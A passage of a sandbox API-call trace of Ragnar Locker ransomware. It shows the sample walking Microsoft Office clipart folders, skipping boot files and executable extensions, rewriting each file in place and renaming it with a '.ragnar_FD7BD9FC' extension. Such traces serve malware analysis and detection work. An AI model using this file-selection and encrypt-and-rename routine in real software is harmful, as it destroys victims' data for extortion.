[0090.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.346] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa0d2, lpOverlapped=0x0) returned 1 [0090.348] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.348] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa0d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.348] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa0d2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa0d2, lpOverlapped=0x0) returned 1 [0090.348] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa0d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.348] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.349] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.349] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.349] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.349] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.349] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.349] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.349] GetProcessHeap () returned 0x580000 [0090.349] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.349] CloseHandle (hObject=0xf4) returned 1 [0090.349] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" [0090.349] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.ragnar_FD7BD9FC" [0090.349] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.350] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0090.350] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.350] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02810J.JPG" | out: lpString1="PH02810J.JPG") returned="PH02810J.JPG" [0090.350] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG") returned=".JPG" [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="autorun.inf") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="boot.ini") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="bootfont.bin") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="bootsect.bak") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="bootmgr") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="bootmgr.efi") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="desktop.ini") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="iconcache.db") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="ntldr") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="ntuser.dat") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="ntuser.ini") returned 1 [0090.350] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="thumbs.db") returned -1 [0090.350] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.350] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.350] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.350] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.350] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.351] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.351] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg")) returned 0x20 [0090.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.351] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=50647) returned 1 [0090.351] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc5ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.351] GetProcessHeap () returned 0x580000 [0090.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.351] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.352] VirtualAlloc (lpAddress=0x0, dwSize=0xc5d7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.353] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.353] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.353] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc5d7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc5d7, lpOverlapped=0x0) returned 1 [0090.364] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.365] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc5d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.365] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc5d7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc5d7, lpOverlapped=0x0) returned 1 [0090.365] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc5d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.365] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc5d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.365] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.366] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.366] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.366] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.366] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.366] GetProcessHeap () returned 0x580000 [0090.366] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.366] CloseHandle (hObject=0xf4) returned 1 [0090.366] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" [0090.366] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.ragnar_FD7BD9FC" [0090.366] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.367] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0090.367] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.367] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02829J.JPG" | out: lpString1="PH02829J.JPG") returned="PH02829J.JPG" [0090.367] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG") returned=".JPG" [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="autorun.inf") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="boot.ini") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="bootfont.bin") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="bootsect.bak") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="bootmgr") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="bootmgr.efi") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.367] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="desktop.ini") returned 1 [0090.368] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="iconcache.db") returned 1 [0090.368] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="ntldr") returned 1 [0090.368] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="ntuser.dat") returned 1 [0090.368] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.368] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="ntuser.ini") returned 1 [0090.368] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="thumbs.db") returned -1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.368] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg")) returned 0x20 [0090.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.369] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=62520) returned 1 [0090.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf42f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.369] GetProcessHeap () returned 0x580000 [0090.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.369] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.370] VirtualAlloc (lpAddress=0x0, dwSize=0xf438, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.370] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf438, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf438, lpOverlapped=0x0) returned 1 [0090.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf438, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.372] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf438, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf438, lpOverlapped=0x0) returned 1 [0090.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf438, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.373] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.373] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf438, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.373] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.373] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.373] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.373] GetProcessHeap () returned 0x580000 [0090.373] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.373] CloseHandle (hObject=0xf4) returned 1 [0090.374] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" [0090.374] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.ragnar_FD7BD9FC" [0090.374] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0090.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.375] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02845G.GIF" | out: lpString1="PH02845G.GIF") returned="PH02845G.GIF" [0090.375] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF") returned=".GIF" [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="autorun.inf") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="boot.ini") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="bootfont.bin") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="bootsect.bak") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="bootmgr") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="bootmgr.efi") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="desktop.ini") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="iconcache.db") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="ntldr") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="ntuser.dat") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="ntuser.ini") returned 1 [0090.375] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="thumbs.db") returned -1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.375] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif")) returned 0x20 [0090.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.376] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12530) returned 1 [0090.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.376] GetProcessHeap () returned 0x580000 [0090.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.377] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.378] VirtualAlloc (lpAddress=0x0, dwSize=0x30f2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.378] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30f2, lpOverlapped=0x0) returned 1 [0090.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.379] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, 